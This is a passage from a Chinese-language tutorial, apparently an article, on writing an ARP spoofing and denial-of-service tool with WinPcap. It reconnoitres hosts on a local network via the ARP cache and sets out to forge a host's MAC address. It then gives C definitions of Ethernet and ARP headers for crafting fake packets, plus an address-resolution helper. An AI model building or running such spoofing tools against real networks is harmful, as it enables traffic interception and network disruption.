上面表示作者本人的主機IP為192.168.3.155,現在ARP緩存裡只有兩條IP為192.168.3.253和192.168.3.254的ARP緩存記錄,很顯然,兩IP是作者主機所在局域網的網關(嘿嘿,校園網和ADSL),它的Mac地址為**-**-18-23-b8-10和**-**-4c-78-22-22,類型為dynamic,即動態緩存。
然後,ping同一局域網內的另一IP為192.168.3.162的主機,再次輸入arp –a,得到結果。
看到,雖然PING不通,但ARP緩存卻刷新了,添加了192.168.3.162這一項記錄,並顯示其Mac地址為**-**-ab-31-5c-3c,類型也是dynamic,顯然,對方開了防火牆並設置了禁止內發的PING包,但是仍然暴露了該主機是活動主機的事實,而且對方的ARP緩存因此而刷新。
好了,到現在,我們可以把目標定為,偽造192.168.3.155的Mac地址為11-22-33-44-55-66,以達到哄騙的目的。我們以此為基點,先進入編碼的部分。因為整個ARP Spoof&DOS都在交換環境的局域網內,涉及到的都是Mac層的通信,所以定義以太網首部和ARP首部就成為必要的了,這樣我們才可以構造偽數據包,如下:
typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目標以太網地址*/
unsigned char eh_src[6]; /* 源以太網地址 */
unsigned short eh_type; /* 以太網包類型 */
}EHHDR, *PEHHDR;
typedef struct arphdr
{
unsigned short arp_hrd; /* 硬件地址格式 */
unsigned short arp_pro; /* 協議地址格式 */
unsigned char arp_hln; /* 硬件地址長度 */
unsigned char arp_pln; /* 協議地址長度 */
unsigned short arp_op; /* ARP/RARP 操作 */
unsigned char arp_sha[6]; /* 源發送者硬件地址 */
unsigned long arp_spa; /* 源發送者協議地址 */
unsigned char arp_tha[6]; /* 目標硬件地址 */
unsigned long arp_tpa; /* 目標協議地址 */
}ARPHDR, *PARPHDR;
每個字段在注釋裡講的很詳細了,如果有疑問,可以查閱TCP/IP相關書籍。下一步,筆者的Spoof實現需要輸入2個IP地址外加一個可選的網卡地址,所以就涉及到解析輸入的主機名或IP的實現,這個相信很多寫過網絡程序的讀者都不陌生,如下:
DWord ResolveAddr(const char* host)
{
PHOSTENT hp;
DWord host_ip;
host_ip = inet_addr(host); /* 轉換成網絡地址 */
/* 如果是主機名或域名,非點分10進制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWord*)(hp->h_addr_list[0]); /* 轉換成32位網絡地址 */
}
return host_ip;
}
然後,需要定義一個GetInterface()函數,顧名思義,就是獲得本地主機網絡接口的意思,因為基於WinPcap的幾乎所有應用程序都需要選擇合適的網卡適配器。